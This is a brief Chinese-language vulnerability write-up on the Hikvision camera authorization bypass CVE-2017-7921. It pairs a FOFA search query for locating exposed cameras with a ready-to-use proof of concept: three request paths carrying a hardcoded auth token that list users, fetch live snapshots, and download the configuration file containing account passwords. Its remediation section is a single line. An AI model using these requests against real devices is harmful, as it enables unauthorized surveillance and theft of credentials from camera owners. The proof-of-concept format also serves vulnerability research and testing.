Nx01 产品简介
Hikvision（海康威视）是一家在中国颇具影响力的安防公司，其网络摄像头产品在市场上占据了相当大的份额。Hikvision的网络摄像头产品线非常丰富，涵盖了各种型号和功能，以满足不同用户的需求。
Nx02 漏洞描述
Hikvision摄像头产品的越权漏洞（CVE-2017-7921）是一种严重的安全问题，该漏洞允许未经授权的用户访问和控制系统。通过特定的路径访问Hikvision摄像头的某些功能，包括检索所有用户及其角色的列表、获取相机快照以及下载摄像头配置账号密码文件等。
Nx03 产品主页
fofa-query: app="HIKVISION-视频监控"
Nx04 漏洞复现
POC：
/Security/users?auth=YWRtaW46MTEK #检索用户
/onvif-http/snapshot?auth=YWRtaW46MTEK #获取监控快照
/System/configurationFile?auth=YWRtaW46MTEK #下载配置文件
Nx05 修复建议
建议联系软件厂商进行处理。
